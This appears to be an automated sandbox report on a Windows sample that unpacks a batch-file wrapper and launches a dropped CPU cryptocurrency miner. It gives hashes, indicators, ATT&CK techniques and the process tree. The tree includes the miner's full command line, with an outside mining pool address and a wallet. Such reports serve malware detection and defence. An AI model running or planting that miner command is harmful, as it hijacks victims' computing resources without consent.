73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20240220-ja
resource tags

arch:x64arch:x86image:win10v2004-20240220-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
20-02-2024 12:13

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1888637039-960448630-940472005-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1888637039-960448630-940472005-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
852	b2e.exe
5056	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5056	cpuminer-sse2.exe
5056	cpuminer-sse2.exe
5056	cpuminer-sse2.exe
5056	cpuminer-sse2.exe
5056	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1932-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1932 wrote to memory of 852	1932	batexe.exe	87
PID 1932 wrote to memory of 852	1932	batexe.exe	87
PID 1932 wrote to memory of 852	1932	batexe.exe	87
PID 852 wrote to memory of 3136	852	b2e.exe	88
PID 852 wrote to memory of 3136	852	b2e.exe	88
PID 852 wrote to memory of 3136	852	b2e.exe	88
PID 3136 wrote to memory of 5056	3136	cmd.exe	91
PID 3136 wrote to memory of 5056	3136	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1932
- C:\Users\Admin\AppData\Local\Temp\5A07.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5A07.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5A07.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:852
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5DC0.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3136
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5A07.tmp\b2e.exe

Filesize
23.9MB

MD5
ce624784e2eb9c6780209bce80b732d9

SHA1
2fee5c25b70349dcf3d6ee2f408f0a60d904156b

SHA256
dfa04dc93bbc5216d763f92f06267755cfd48b8acb31ddc50ef0a25b9615b528

SHA512
77849d44c58d50b6a277cf89f4845728539ec6b48512023d1994a472954f7428f091285aa26837db74f5b87f68e7772d8ddf3199621b08745929d60baadfdc50

Download Submit
C:\Users\Admin\AppData\Local\Temp\5A07.tmp\b2e.exe

Filesize
5.0MB

MD5
ba7431e142e7eab4393479fe5b881669

SHA1
6efc9c279fe4ae0f1e536d66c18b42fc8a9be1bc

SHA256
52d963ff351c035885f654588cfcff8bd5d8ea7ae1f80e3322279b0c03d92201

SHA512
24a7a41c46dea870ce39faedafeb0daa8f12065d77e50ef439c73a4e9ad6ea1759b1780245a265ac72dd78093dee7903c53fb74ae230f1395096d7f98e5cd723

Download Submit
C:\Users\Admin\AppData\Local\Temp\5A07.tmp\b2e.exe

Filesize
4.9MB

MD5
61b53fb0108086f2d38b5ab4817a7943

SHA1
df6e46044fe56b264680aa66cb4e0e89222f50d3

SHA256
fcfc35ba02027e0f822bb84160e9408a2601b9e8bbb85ca1ebaf636c8bee22d0

SHA512
07eae59946398ac4fd0f141532cbdeed9198f9c3adb2f8988cd6b97ee7f4d57be86350956d65966a46175bd9a165f597167c03107f70e4ea27f7607768ad36a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\5DC0.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.2MB

MD5
9730c8ad95df1dda9ff770d432931fc6

SHA1
21749a13aef76f2616b22c85d6c9358283940a7a

SHA256
646f05426861fc56aefd519d0270519713dc139669a82362d180e3c01196fa20

SHA512
61ff7ee9822a13fd2d7ae9a9e44a11739f23cc1493ca8dd09eeb3d048ea4e24eaf76a698ab0a488827ff6cfd9a16614dec595d36c4eadd402801ee1cf25b0113

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.1MB

MD5
42c177c3d39df1ad3bfde539a680db87

SHA1
2bddb44fec614cc17f3da3bde3fe1c98cedb2231

SHA256
56255a05548deaf3d9ab17318fd4183bacaff6bd80e85f88d6f2b8dffda0c68f

SHA512
05a2bcc2a9dd196f95f5008be9884423f9ede9d5855d11dadb1d2874c99ba9eed6ae6437f7079c3b45f06d8521adb1596ac60b0cde69313555d4bce566f911b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.3MB

MD5
f2533dfa3fb514c1ded1b1e121fd661e

SHA1
7dcfd11caed8dfa2e389d3d667e83e955fc85c3c

SHA256
805d1f9f549b6560fc758027c3e9d3b84e726c490dc2eca52a777bba5721651c

SHA512
151a74255117c77d76fba44111a0fd5e589a598f09cdb11b716a88e2588a79e2629573a138d7e4fe80f723fa102ea109447af847512a0f4bba416dd10b7884b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/852-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/852-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1932-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5056-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5056-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5056-46-0x0000000050060000-0x00000000500F8000-memory.dmp

Filesize
608KB

Download
memory/5056-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/5056-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5056-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5056-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5056-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5056-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5056-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5056-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5056-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5056-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5056-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5056-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5056-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download